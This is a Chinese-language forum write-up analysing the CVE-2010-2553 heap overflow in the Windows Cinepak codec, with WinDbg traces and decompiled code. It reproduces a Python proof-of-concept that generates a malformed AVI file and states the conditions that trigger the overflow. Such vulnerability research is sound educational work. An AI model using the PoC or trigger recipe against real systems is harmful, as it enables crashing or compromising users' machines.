CVE-2010-2553 堆溢出漏洞分析

2022-01-24 看雪學苑
本文為看雪論壇精華文章
看雪論壇作者ID:LarryS這篇文章可以分為兩大部分。前半部分根據《漏洞戰爭》的代碼,在調試的過程中重新複習了一遍堆結構相關的知識,並學習了Windbg提供的堆調試選項;後半部分是對CVE-2010-2553分析,包括AVI格式分析以及漏洞函數代碼分析。在學習過程中發現了書中對AVI格式的介紹存在一些問題,同時對於溢出漏洞也有了更深的理解。之前一直在看棧溢出漏洞,這次選擇堆溢出,之後也會各個漏洞輪流分析,加強一下記憶。由於有一段時間沒看過這部分內容,再加上《漏洞戰爭》中使用的是Windbg這個我不太熟悉的工具,所以決定完整的跟一遍前面的「堆溢出原理」小結,同時回顧一下自己在學習0day時總結的堆溢出漏洞筆記。1.1 代碼基本調試註:書中該實驗環境是Win7簡體中文旗艦版,我使用的版本不同,結果並沒有觸發異常,這裡也要分析一下原因。
#include <windows.h>#include <stdio.h> int main () {    HANDLE hHeap;    char *heap;    char str[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";     hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x1000, 0xffff);    __asm int 3     heap = (char *)HeapAlloc(hHeap, 0, 0x10);    printf("heap addr: 0x%08x\n", heap);     strcpy(heap, str);    HeapFree(hHeap, 0, heap);     HeapDestroy(hHeap);     return 0;}

程序在int 3中斷並進入調試器之後,剛剛執行完HeapCreate,起始地址為0x3a0000,根據0day中學到的知識,偏移0x178的位置是空表索引區:
0:000> dd 3a0178003a0178  003a0688 003a0688 003a0180 003a0180003a0188  003a0188 003a0188 003a0190 003a0190003a0198  003a0198 003a0198 003a01a0 003a01a0003a01a8  003a01a8 003a01a8 003a01b0 003a01b0003a01b8  003a01b8 003a01b8 003a01c0 003a01c0003a01c8  003a01c8 003a01c8 003a01d0 003a01d0003a01d8  003a01d8 003a01d8 003a01e0 003a01e0003a01e8  003a01e8 003a01e8 003a01f0 003a01f0

可以看到0x003a0688那裡就是Freelist[0]中唯一一個空的堆塊:
0:000> db 3a0680003a0680  30 01 08 00 00 10 00 00-78 01 3a 00 78 01 3a 00  0..x.:.x.:.003a0690  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .

這個空的堆塊大小為0x130*8=0x980位元組,後面的兩個0x003a0178就構成了一個雙向鍊表。F10繼續往下執行,執行完HeapAlloc之後:
0:000> db 3a0680003a0680  03 00 08 00 15 01 08 00-78 01 3a 00 78 01 3a 00  ...x.:.x.:.003a0690  00 00 00 00 00 00 00 00-2d 01 03 00 00 10 00 00  ...-..003a06a0  78 01 3a 00 78 01 3a 00-00 00 00 00 00 00 00 00  x.:.x.:....003a06b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .003a06f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .

首字節0x03表示該塊的大小為3*8=24位元組,包含16位元組的數據區域和8位元組的塊首,之前保存了雙向鍊表指針的區域雖然內容沒有發生變化,但是這裡已經用來存在數據了。而0x003a06a0處則存在放了新的空閒堆塊雙向鍊表指針。也可以使用Windbg中的!heap指令查看堆塊的情況:
0:000> !heap -p     No GlobalFlag bits active for this process    active heaps:  - 140000          HEAP_GROWABLE - 240000          HEAP_GROWABLE HEAP_CLASS_1 - 250000          HEAP_CLASS_8 - 380000          HEAP_NO_SERIALIZE HEAP_GROWABLE HEAP_CLASS_1 - 3a0000          HEAP_GENERATE_EXCEPTIONS HEAP_CLASS_1 0:000> !heap -p -h 0x3a0000    _HEAP @ 3a0000      No FrontEnd      _HEAP_SEGMENT @ 3a0640       CommittedRange @ 3a0680      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state        003a0680 0003 0000  [01]   003a0688    00010 - (busy)        003a0698 012d 0003  [10]   003a06a0    00960 - (free)       VirtualAllocdBlocks @ 3a0050

在我們分配的0x10的堆塊後面,0x3a0698處有一個大小為0x960的空閒堆塊。獲得了堆塊的地址之後,可以使用dt struct addr查看具體的結構體成員值:
0:000> dt _HEAP_FREE_ENTRY 0x003a0698ntdll!_HEAP_FREE_ENTRY   +0x000 Size             : 0x12d   +0x002 PreviousSize     : 3   +0x000 SubSegmentCode   : 0x0003012d Void   +0x004 SmallTagIndex    : 0 ''   +0x005 Flags            : 0x10 ''   +0x006 UnusedBytes      : 0 ''   +0x007 SegmentIndex     : 0 ''   +0x008 FreeList         : _LIST_ENTRY [ 0x3a0178 - 0x3a0178 ]

這時這個空閒堆塊一切正常。繼續執行完字符串的複製之後:
0:000> dt _HEAP_FREE_ENTRY 0x003a0698ntdll!_HEAP_FREE_ENTRY   +0x000 Size             : 0x4141   +0x002 PreviousSize     : 0x4141   +0x000 SubSegmentCode   : 0x41414141 Void   +0x004 SmallTagIndex    : 0x41 'A'   +0x005 Flags            : 0x41 'A'   +0x006 UnusedBytes      : 0x41 'A'   +0x007 SegmentIndex     : 0x41 'A'   +0x008 FreeList         : _LIST_ENTRY [ 0x41414141 - 0x41414141 ]

可以看到,由於複製的字符串長度大於堆塊的大小,數據發生了溢出,將後面空閒堆塊中存放的雙向鍊表指針覆蓋成了0x41414141。按照書中的構想,接下來在執行HeapFree的時候,會合併這塊分配出來的堆塊和後面的空閒堆塊,從空閒堆塊的鍊表指針中獲取下一個堆塊地址,進行寫入操作,從而觸發異常。但是在我的實驗中,並沒有發生異常,通過調試,發現這一塊代碼:
0:000> peax=00000003 ebx=00000004 ecx=7ffdd000 edx=003a0608 esi=003a0680 edi=003a0000eip=7c910ac2 esp=0012fe7c ebp=0012ff38 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ntdll!RtlFreeHeap+0x30a:7c910ac2 8d9cc778010000  lea     ebx,[edi+eax*8+178h]

注意這裡經過計算後,得到的ebx的值是0x3a0190,也就是24位元組的freelist[3]在空表索引區的位置,然後執行了下面的操作:
0:000> peax=003a0688 ebx=003a0190 ecx=003a0190 edx=00000008 esi=003a0680 edi=003a0000eip=7c910b07 esp=0012fe7c ebp=0012ff38 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ntdll!RtlFreeHeap+0x34f:7c910b07 8918            mov     dword ptr [eax],ebx  ds:0023:003a0688=41414141

將之前分配的堆塊中雙向鍊表指針的位置修改成了0x3a0190。也就是說在我的實驗環境中,新釋放的這個堆塊並沒有和後面的空閒堆塊合併,而是被分配到了freelist[3]中,因此也就沒有觸發異常。1.2 Windbg提供的堆調試選項在Windbg中可以使用!gflag [-? | flags]命令設置或取消對應GlobalFlags,從而實現堆調試:
0:000> !gflag -?usage: !gflag [-? | flags]Flags may either be a single hex number that specifies all32-bits of the GlobalFlags value, or it can be one or morearguments, each beginning with a + or -, where the + meansto set the corresponding bit(s) in the GlobalFlags and a -means to clear the corresponding bit(s).  After the + or -may be either a hex number or a three letter abbreviationfor a GlobalFlag.  Valid abbreviations are:    soe - Stop On Exception    sls - Show Loader Snaps    htc - Enable heap tail checking    hfc - Enable heap free checking    hpc - Enable heap parameter checking    hvc - Enable heap validation on call    vrf - Enable application verifier    htg - Enable heap tagging    ust - Create user mode stack trace database    htd - Enable heap tagging by DLL    dse - Disable stack extensions    scb - Enable system critical breaks    dhc - Disable Heap Coalesce on Free    hpa - Place heap allocations at ends of pages    cse - Early critical section event creation    dpd - Disable protected DLL verification

htc:堆尾檢查,在堆塊末尾附加額外信息,檢查是否溢出

hfc:堆釋放檢查,在釋放堆塊時進行各種檢查,防止多次釋放

hpc:堆參數檢查,對傳遞給堆管理的參數進行更多檢查

hpa:啟用頁堆,在堆塊後增加用於檢測溢出的柵欄頁,若發生堆溢出觸及柵欄頁會立刻觸發異常。

設置這個標誌可以定位到導致漏洞的代碼或函數。

CVE-2010-2553存在於Microsoft Windows XP SP2和SP3, Windows Vista SP1和SP2, 以及Windows 7的Cinepak解碼器中,iccvid.dll在解壓縮媒體文件時,沒有對緩衝區大小進行檢測,導致在複製壓縮數據時造成堆溢出。在exploit-db網站上,有ABYSSSEC提供的poc文件生成代碼:
import sys def main():     aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'    padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'    movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'    cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'    number_of_coded_strips = '\x00\x10'    cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'    idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'     avifile = open('poc.avi', 'wb+')    avifile.write(aviHeaders)    avifile.write(padding)    avifile.write(movi_tag)    avifile.write(cinepak_codec_data1)    avifile.write(number_of_coded_strips)    avifile.write(cinepak_codec_data2)    avifile.write(idx_tag)     avifile.close()    print '[-] AVI file generated' if __name__ == '__main__':    main()

因為了解avi格式只是用於分析漏洞,不需要太詳盡,所以只根據這份代碼生成的poc文件來看文件格式。3.1 avi格式AVI文件採用RIFF文件格式,這種文件格式的基本單元是塊(CHUNK):
struct chunk {    uint32_t ID;             uint32_t Size;           uint8_t  Data[Size]; };

根據上圖的信息,真正的cvid數據應該在movi塊中偏移12個字節的位置(偏移4是00dc標識符,偏移8是數據長度)。3.2 cvid壓縮格式以下格式的理解參考cinepak文檔,可能有錯誤,與《漏洞戰爭》中的分析也有不同,後面調試的時候會嘗試進行驗證。
0000h    00 00 00 68 01 60 01 20 00 10 10 00 00 10 00 000010h    00 00 00 60 01 60 20 00 00 00 11 00 00 10 41 410020h    41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 410030h    41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 410040h    41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 00

根據文檔,Cinepak視頻流通常由如下幾個部分組成:
+---+| Frame Header          |+---+| Strip 1 Header        |+---+| Strip 1 Codebooks     |+---+| Strip 1 Frame Vectors |+---+| Strip 2 Header        |+---+| Strip 2 Codebooks     |+---+| Strip 2 Frame Vectors |+---+| Strip 3 Header        |+---+|    .      .      .    |     .      .      .    |    .      .      .    |+---+

其中Frame Header長度為10個字節,格式如下:
    7 6 5 4 3 2 1 0        Field Name                    Type           Value   ++0  |0 0 0 0 0 0 0 0|       Flags                         Byte              0   ++1  |0 0 0 0 0 0 0 0|       Length of CVID data           Unsigned       0x68   +-             -+2  |0 0 0 0 0 0 0 0|   +-             -+3  |0 1 1 0 1 0 0 0|   ++4  |0 0 0 0 0 0 0 1|       Width of coded frame          Unsigned       0x160   +-             -+5  |0 1 1 0 0 0 0 0|   ++6  |0 0 0 0 0 0 0 1|       Height of coded frame         Unsigned       0x120   +-             -+7  |0 0 1 0 0 0 0 0|   ++8  |0 0 0 0 0 0 0 0|       Number of coded strips        Unsigned       0x10   +-             -+9  |0 0 0 1 0 0 0 0|   ++

從Frame Header中可以得到CVID數據長度為0x68,strip的數量是16個,接下來就是strip的內容了,先看一下Strip 1 Header結構:
     7 6 5 4 3 2 1 0        Field Name                    Type           Value    ++ 0  |0 0 0 1 0 0 0 0|       Strip CVID ID                 Unsigned       0x1000    +-             -+ 1  |0 0 0 0 0 0 0 0|    ++ 2  |0 0 0 0 0 0 0 0|       Size of strip data            Unsigned       0x10          +-             -+ 3  |0 0 0 1 0 0 0 0|    ++ 4  |0 0 0 0 0 0 0 0|       Strips top Y position         Unsigned       0x0    +-             -+ 5  |0 0 0 0 0 0 0 0|    ++ 6  |0 0 0 0 0 0 0 0|       Strips top X position         Unsigned       0x0    +-             -+ 7  |0 0 0 0 0 0 0 0|    ++ 8  |0 0 0 0 0 0 0 0|       Strips bottom Y position      Unsigned       0x60    +-             -+ 9  |0 1 1 0 0 0 0 0|    ++10  |0 0 0 0 0 0 0 1|       Strips bottom X position      Unsigned       0x160    +-             -+11  |0 1 1 0 0 0 0 0|    ++

緊跟在Header之後的是CVID Chunk,Codebooks和Frame Vectors都在這個結構裡面,其結構如下:
    7 6 5 4 3 2 1 0        Field Name                    Type          Value   ++0  |0 0 1 0 0 0 0 0|       CVID Chunk ID                 Unsigned      0x2000   +-             -+1  |0 0 0 0 0 0 0 0|   ++2  |0 0 0 0 0 0 0 0|       Size of chunk data (N)        Unsigned      0x0   +-             -+3  |0 0 0 0 0 0 0 0|   ++4  |               |   +-             -+5  |               |   +-   . . . .   -+   |               |       Chunk data (N - 4 bytes)      Byte   +-             -+N  |               |   ++

所以這個chunk的大小是0。正好這裡也到達了strip 1的16個字節的長度要求。下面應該是下一個strip了(這裡書中說的我和理解的不一樣,書中說這裡是下一個chunk ID)。

CVID的數據長度為0x68,超過了已有數據長度。除此之外,strip 2的長度在header中定義的是16個字節,但是裡面的chunk數據長度為0x4141,這肯定是有問題的。不過不知道異常觸發是不是這個原因,還需要進一步分析。


4.1 定位漏洞函數打開Windows Media Player,使用Windbg附加到該進程,然後啟用頁堆,打開poc文件。
0:011> !gflag +hpaNew NtGlobalFlag contents: 0x02000000    hpa - Place heap allocations at ends of pages0:011> gModLoad: 73760000 737ab000   C:\WINDOWS\system32\ddraw.dllModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.dllModLoad: 75f80000 7607d000   C:\WINDOWS\system32\browseui.dllModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dllModLoad: 77b40000 77b62000   C:\WINDOWS\system32\appHelp.dllModLoad: 77a20000 77a74000   C:\WINDOWS\System32\cscui.dllModLoad: 76600000 7661d000   C:\WINDOWS\System32\CSCDLL.dllModLoad: 76990000 769b5000   C:\WINDOWS\system32\ntshrui.dllModLoad: 76b20000 76b31000   C:\WINDOWS\system32\ATL.DLLModLoad: 71b20000 71b32000   C:\WINDOWS\system32\MPR.dllModLoad: 02b00000 02b10000   C:\WINDOWS\System32\vmhgfs.dllModLoad: 75f60000 75f67000   C:\WINDOWS\System32\drprov.dllModLoad: 71c10000 71c1e000   C:\WINDOWS\System32\ntlanman.dllModLoad: 71cd0000 71ce7000   C:\WINDOWS\System32\NETUI0.dllModLoad: 71c90000 71cd0000   C:\WINDOWS\System32\NETUI1.dllModLoad: 71c80000 71c87000   C:\WINDOWS\System32\NETRAP.dllModLoad: 71bf0000 71c03000   C:\WINDOWS\System32\SAMLIB.dllModLoad: 75f70000 75f7a000   C:\WINDOWS\System32\davclnt.dllModLoad: 73d70000 73d83000   C:\WINDOWS\system32\shgina.dllModLoad: 75970000 75a68000   C:\WINDOWS\system32\MSGINA.dllModLoad: 74320000 7435d000   C:\WINDOWS\system32\ODBC32.dllModLoad: 76360000 76370000   C:\WINDOWS\system32\WINSTA.dllModLoad: 02c80000 02c97000   C:\WINDOWS\system32\odbcint.dllModLoad: 73b50000 73b67000   C:\WINDOWS\system32\AVIFIL32.dllModLoad: 76980000 76988000   C:\WINDOWS\system32\LINKINFO.dllModLoad: 73d70000 73d83000   C:\WINDOWS\system32\shgina.dllModLoad: 73760000 737ab000   C:\WINDOWS\system32\ddraw.dllModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.dllModLoad: 74810000 7497d000   C:\WINDOWS\system32\quartz.dllModLoad: 75f40000 75f51000   C:\WINDOWS\system32\devenum.dllModLoad: 73760000 737ab000   C:\WINDOWS\system32\DDRAW.dllModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.dllModLoad: 73940000 73a10000   C:\WINDOWS\system32\D3DIM700.DLLModLoad: 73c00000 73c17000   C:\WINDOWS\system32\iccvid.dll(d4c.794): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00006000 ebx=02891958 ecx=000003f4 edx=0af0fd38 esi=0289b000 edi=0289d000eip=73c022cc esp=0af0fd04 ebp=0af0fd30 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246iccvid!CVDecompress+0x11e:73c022cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:016> kbChildEBP RetAddr  Args to Child             0af0fd30 73c0cbf3 00000004 00000000 00000068 iccvid!CVDecompress+0x11e0af0fd60 73c066c8 00134c60 00000000 000d3580 iccvid!Decompress+0x11d0af0fdac 75a71938 00134c60 00000001 0000400d iccvid!DriverProc+0x1bf0af0fdd0 7482fa9e 75a8b500 0000400d 0af0fde8 MSVFW32!ICSendMessage+0x2b0af0fe00 7482f9e9 75a8b500 00000000 000d3580 quartz!CVFWDynLink::ICDecompress+0x3e0af0fec0 74830a55 00e269f8 026335e0 00000000 quartz!CAVIDec::Transform+0x2820af0feec 74830939 00e269f8 00000000 00e272a8 quartz!CVideoTransformFilter::Receive+0x1100af0ff00 7482e67a 00e0d324 00e269f8 0af0ff40 quartz!CTransformInputPin::Receive+0x330af0ff10 74830ca0 00e269f8 00040103 00e272a8 quartz!CBaseOutputPin::Deliver+0x220af0ff40 74830e1c 0af0ff70 0af0ff6c 00000000 quartz!CBaseMSRWorker::TryDeliverSample+0x1020af0ff84 7482ce30 00000000 00e272a8 00e272a8 quartz!CBaseMSRWorker::PushLoop+0x15e0af0ff9c 7482dbe6 00000000 7482a121 00000000 quartz!CBaseMSRWorker::DoRunLoop+0x4a0af0ffa4 7482a121 00000000 774ec8a0 0af0ffec quartz!CBaseMSRWorker::ThreadProc+0x390af0ffb4 7c80b713 00e272a8 00000000 774ec8a0 quartz!CAMThread::InitialThreadProc+0x150af0ffec 00000000 7482a10c 00e272a8 00000000 kernel32!BaseThreadStart+0x370:016> ub iccvid!Decompress+0x11diccvid!Decompress+0x102:73c0cbd8 ffb698000000    push    dword ptr [esi+98h]73c0cbde 57              push    edi73c0cbdf ff7528          push    dword ptr [ebp+28h]73c0cbe2 ff752c          push    dword ptr [ebp+2Ch]73c0cbe5 ff7530          push    dword ptr [ebp+30h]73c0cbe8 ff7514          push    dword ptr [ebp+14h]73c0cbeb ff765c          push    dword ptr [esi+5Ch]73c0cbee e8bb55ffff      call    iccvid!CVDecompress (73c021ae)

現在找到了漏洞函數的位置0x73c0cbee,需要在這裡下斷點重新調試,但是這個地址位於iccvid.dll文件中,只有在程序加載完該DLL文件後才能在這裡下斷點。4.2 DLL函數調試重新附加到Windows Media Player上面,執行命令sxe ld:iccvid,然後打開poc文件,這時會中斷在程序加載iccvid.dll的時候,這時再下斷點:
0:009> sxe ld:iccvid0:009> gModLoad: 73c00000 73c17000   C:\WINDOWS\system32\iccvid.dlleax=00000001 ebx=00000000 ecx=00000044 edx=000a2ee0 esi=00000000 edi=00000000eip=7c90e4f4 esp=0230e28c ebp=0230e380 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ntdll!KiFastSystemCallRet:7c90e4f4 c3              ret0:010> bp 0x73c0cbee0:010> gBreakpoint 0 hiteax=00000001 ebx=01c8fd88 ecx=0005e2c0 edx=fffffee0 esi=00121e08 edi=0293f820eip=73c0cbee esp=01c8fd38 ebp=01c8fd60 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246iccvid!Decompress+0x118:73c0cbee e8bb55ffff      call    iccvid!CVDecompress (73c021ae)

0:005> kbChildEBP RetAddr  Args to Child             01c8fd30 73c0cbf3 0011e078 02676af8 00000068 iccvid!CVDecompress01c8fd60 73c066c8 00121e08 00000000 00170f80 iccvid!Decompress+0x11d01c8fdac 75a71938 00121e08 00000001 0000400d iccvid!DriverProc+0x1bf01c8fdd0 7482fa9e 75a8b500 0000400d 01c8fde8 MSVFW32!ICSendMessage+0x2b01c8fe00 7482f9e9 75a8b500 00000000 00170f80 quartz!CVFWDynLink::ICDecompress+0x3e01c8fec0 74830a55 00e03cd8 00e2c240 00000000 quartz!CAVIDec::Transform+0x28201c8feec 74830939 00e03cd8 00000000 00e2b050 quartz!CVideoTransformFilter::Receive+0x11001c8ff00 7482e67a 00dbc30c 00e03cd8 01c8ff40 quartz!CTransformInputPin::Receive+0x3301c8ff10 74830ca0 00e03cd8 00040103 00e2b050 quartz!CBaseOutputPin::Deliver+0x2201c8ff40 74830e1c 01c8ff70 01c8ff6c 00000000 quartz!CBaseMSRWorker::TryDeliverSample+0x10201c8ff84 7482ce30 00000000 00e2b050 00e2b050 quartz!CBaseMSRWorker::PushLoop+0x15e01c8ff9c 7482dbe6 00000000 7482a121 00000000 quartz!CBaseMSRWorker::DoRunLoop+0x4a01c8ffa4 7482a121 00000000 000a0178 01c8ffec quartz!CBaseMSRWorker::ThreadProc+0x3901c8ffb4 7c80b713 00e2b050 00000000 000a0178 quartz!CAMThread::InitialThreadProc+0x1501c8ffec 00000000 7482a10c 00e2b050 00000000 kernel32!BaseThreadStart+0x37

可以看到當前函數的參數,第三個參數是0x68,就是我們上面分析的CVID數據長度。再加上對於漏洞本身的了解,合理猜測前面兩個參數是數據複製的目的地址和源地址,看一下:
0:005> db 11e0780011e078  3b 9f c0 73 3b 9f c0 73-bc 4f c0 73 3e 52 c0 73  ;..s;..s.O.s>R.s0011e088  7b 53 c0 73 5c 75 c0 73-5c 75 c0 73 78 1e 17 00  {S.s\u.s\u.sx...0011e098  78 1e 17 00 00 00 00 00-50 01 20 01 00 00 01 00  x..P. 0011e0a8  00 00 00 00 78 7e 17 00-00 00 00 00 00 00 00 00  ....x~0011e0b8  05 00 09 00 ae 01 08 00-e8 e0 11 00 00 00 00 00  .0011e0c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .0011e0d8  00 00 00 00 00 00 00 00-05 00 05 00 a5 01 08 00  .0011e0e8  38 e1 11 00 00 00 00 00-00 00 00 00 00 00 00 00  80:005> dds 11e0780011e078  73c09f3b iccvid!ExpandCodeBook320011e07c  73c09f3b iccvid!ExpandCodeBook320011e080  73c04fbc iccvid!DrawKey320011e084  73c0523e iccvid!DrawSmooth320011e088  73c0537b iccvid!DrawInter320011e08c  73c0755c iccvid!DetailCodeFromRGBa88880011e090  73c0755c iccvid!DetailCodeFromRGBa88880011e094  00171e780011e098  00171e780011e09c  000000000011e0a0  01200150 xpsp2res+0x1e01500:005> db 2676af802676af8  00 00 00 68 01 60 01 20-00 10 10 00 00 10 00 00  ...h.`. ...02676b08  00 00 00 60 01 60 20 00-00 00 11 00 00 10 41 41  ...`.` ..AA02676b18  41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 41  AAAAAAAAAA....AA02676b28  41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 41  AAAAAAAAAA....AA02676b38  41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 00  AAAAAAAAAA....A.02676b48  69 64 78 31 10 00 00 00-30 30 64 63 10 00 00 00  idx1....00dc....02676b58  04 00 00 00 68 00 00 00-00 00 00 00 00 00 00 00  ....h.02676b68  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .

第二個參數0x2676af8處的數據是不是特別眼熟,就是上面的CVID數據,看來第二個參數確實是源數據。而第一個參數那裡保存的是一些函數地址,不知道有什麼用(後來發現這裡的一塊空間應該是用於存儲數據的)。4.3 漏洞函數代碼分析接下來我是IDA+Windbg同步進行分析的,由於Windbg的結果貼上來實在太冗雜了,所以直接貼上IDA中的代碼分析結果:
int __stdcall CVDecompress(ULONG data, int src, int length, int a4, int a5, int a6, int a7){  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]   data_ = data;  v8 = *(data + 36);  if...  result = 0;  if ( length >= 0x20 )  {    src_ = src;    BYTE1(result) = *(src + 1);    LOBYTE(result) = *(src + 2);    v11 = *(src + 3) | (result << 8);           // 這裡得到的還是length, 0x68    if ( length < v11 || (HIBYTE(length) = *src, ULongSub(v11, 10u, &remain_len) < 0) )// 這裡做了一個運算0x68-10,減去了頭部的長度看是否還大於0    {LABEL_33:      result = 0;    }    else    {      HIBYTE(nStrip) = *(src_ + 8);      strip = (src_ + 10);                      // 加上了頭部的長度,現在指向strip 1的起始位置      strip_idx = 0;      strip_ = strip;      strip__ = strip;      LOBYTE(nStrip) = *(strip - 1);            // 這裡是strip的個數      nStrip_ = nStrip;      if ( nStrip )      {        v32 = 0;        do        {          if ( remain_len < 0x16 )            break;          HIBYTE(v14) = strip[1];          LOBYTE(v14) = strip[2];          strip_len = strip[3] | (v14 << 8);          if ( remain_len < strip_len )            break;          if ( *strip == 0x10 || *strip == 0x11 )// 檢查strip ID          {            if ( ULongSub(strip_len, 0xCu, &data) < 0 )// 這裡又減去了strip header的長度 12個字節                                                // data的位置存儲的是差值              goto LABEL_33;            HIBYTE(bottom_y) = strip[8];            HIBYTE(top_y) = strip[4];            LOBYTE(bottom_y) = strip[9];            LOBYTE(top_y) = strip[5];            v17 = bottom_y - top_y;            LOWORD(v17) = *(data_ + 46) * v17;            src = v17;            if ( v32 && !HIBYTE(length) && *strip == 0x11 )// 當遍歷到第二個strip的時候,條件都滿足,進入if塊            {              qmemcpy((*(data_ + 28) + v32), (*(data_ + 28) + v32 - 0x2000), 0x2000u);// 異常發生在這裡              strip = strip_;            }            chunk = strip__ + 12;               // 這裡又加上了strip header的長度,目前指向了chunk            chunk_ = strip + 12;            *(data_ + 56) = v32 + *(data_ + 32);            chunk__ = strip + 12;            *(data_ + 60) = a7;            while ( data >= 4 )            {              HIBYTE(v20) = chunk_[1];              LOBYTE(v20) = chunk_[2];              chunk_size = chunk_[3] | (v20 << 8);              chunk_size_ = chunk_size;              if ( data < chunk_size )          // 驗證chunk_size的大小                break;              switch...                         // 這裡在檢查chunk ID,根據chunk ID處理chunk數據              chunk_ = &chunk__[chunk_size_];              v22 = 1;              chunk += chunk_size_;              chunk__ += chunk_size_;              if ( chunk_size_ > 1 )                v22 = chunk_size_;              data -= v22;            }            a6 += a7 * src;            ++strip_idx;            v32 += 0x2000;          }          strip__ += strip_len;                 // 接著處理下一個strip          remain_len -= strip_len;          strip += strip_len;          strip_ = strip;        }        while ( strip_idx < nStrip_ );      }      result = 1;    }  }  return result;}

每次遇到strip ID是0x1100的時候,都會進行數據的複製操作,每次複製的字節數為0x2000,這裡並沒有判斷堆中是否能夠容納這麼多的數據,查看一下堆塊的大小:
0:005> !heap -p -a edi    address 00173e78 found in    _HEAP @ a0000      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state        00171e70 0c01 0000  [01]   00171e78    06000 - (busy)          ? wmploc+93

可以看到這個堆的大小是0x6000,也就是說複製三次數據就滿了,第四次再複製的時候就會導致堆溢出。4.4 小總結4.4.1 關於cvid壓縮格式目前看來我對於CVID格式的理解是沒什麼問題的,chunk是strip的一部分,strip1後面跟著strip2,以此類推。4.4.2 如何觸發漏洞1、CVID數據長度就按照數據總長度設置,需要大於0x20

2、包含大於3個,且ID為0x1100的strip


!heap -p -h HANDLE:查看對應HANDLE的詳細分配信息!heap -p -a ADDR:顯示具體某個堆塊的詳細信息2、dt STRUCTURE ADDR:按照STRUCTURE結構顯示ADDR處結構體各成員值3、!gflag [-? | flags]指令用於堆調試,重點標誌:htc, hfc, hpc, hpa4、sx:用於控制被調試程序發生某異常或特定事件時,調試器要採取的動作sxe ld:ModuleName 在首次加載ModuleName的時候中斷。

